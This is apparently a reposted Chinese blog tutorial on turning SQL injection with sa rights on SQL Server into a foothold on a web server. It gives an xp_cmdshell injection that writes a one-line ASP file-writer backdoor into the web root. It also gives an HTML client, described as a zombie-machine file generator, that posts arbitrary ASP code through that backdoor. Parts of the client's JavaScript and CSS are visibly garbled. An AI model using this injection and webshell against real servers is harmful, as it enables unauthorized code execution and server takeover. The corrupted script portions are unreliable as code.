天天看點

SQL注入與ASP木馬上傳的又一思路

本文适合有sa權限sqlserver資料庫、并且能sql注入支援fso+asp的伺服器 

  SQL注入後,如何上傳木馬,一直是比較頭疼的事,我這裡提供上傳木馬的一種另一種方法。

  1、SQL注入的時候,用xp_cmdshell 向伺服器上寫入一個能寫檔案的asp檔案。

  檔案内容:

<%

Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)

objCountFile.Write request("mydata")

objCountFile.Close

%>

這個檔案可以寫成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>

将特殊字元進行編碼   就可以得到 %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(這裡假定web目錄是C:\Inetpub\wwwroot\): 

exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';

這樣 在伺服器的web 目錄下 将生成一個 ftp.asp檔案

該檔案的代碼為

你可以看到,上面代碼中預留了兩個接口 mypath   和 mydata

mypath是下次送出的時候 檔案的生成路徑

mydata是檔案的内容

在本地編寫一個用戶端檔案 例:RohuClient.htm   代碼如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>殭屍電腦檔案生成器--用戶端   制作:絕對零度 QQ:12216796</title>

<style type="text/css">

<!--

TD {

FONT-SIZE: 9pt; LINE-HEIGHT: 150%

}

BODY {

FONT-SIZE: 12px;

FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋體;

SCROLLBAR-FACE-COLOR: #eeeeee; 

SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; 

SCROLLBAR-SHADOW-COLOR: #dee3e7; 

SCROLLBAR-3DLIGHT-COLOR: #d1d7dc; 

SCROLLBAR-ARROW-COLOR: #006699; 

SCROLLBAR-TRACK-COLOR: #ededed; 

SCROLLBAR-DARKSHADOW-COLOR: #98aab1

A:link {

FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none

A:visited {

A:hover {

COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline

input,select,TEXTAREA {

font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋體";

background-color: #f9f9f9; 

font-size: 9pt ; 

border: 1px #d2d2d2 dobble;

line-height:120%;

-->

</style>

</head>

<script language="javascript" type="text/javascript">

function chk(theform)

{

if(theform.ftpUrl.value="http://blog.77169.com/='')

alert('請輸入遞交的位址!');

theform.ftpUrl.focus();

return" false;

if(theform.MyPath.value="http://blog.77169.com/='')

alert('請輸入生成檔案的位置!');

theform.MyPath.focus();

if(theform.MyData.value="http://blog.77169.com/='')

alert('請輸入生成檔案的内容!');

theform.MyData.focus();

theform.action=theform.ftpUrl.value;

</script>

<body>

<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">

<table width="673" border="0" align="center" cellpadding="0" cellspacing="0">

<tr>

  <td width="11%">目标位置:</td>

  <td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">

  </tr>

  <td>生成檔案:</td>

  <td><input name="MyPath" type="text" id="MyPath">

    将在伺服器上,生成的檔案路徑。例:

C:\Inetpub\wwwroot\Server.asp </td>

  <td valign="top">檔案代碼:</td>

  <td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td>

  <td> </td>

  <td><input type="submit" name="Submit" value="送出"></td>

</table>

<br>

</form>

<table width="100%" border="0" cellspacing="0" cellpadding="0">

</tr>

</body>

</html>

在目标位置欄填上剛剛生成的ftp.asp檔案的url位址 

在生成檔案欄   輸入将在伺服器上生成的檔案名 比如:C:\Inetpub\wwwroot\Server.asp 

在檔案内容裡 ,随意的粘貼一個asp代碼   

本文轉自loveme2351CTO部落格,原文連結:http://blog.51cto.com/loveme23/8528 ,如需轉載請自行聯系原作者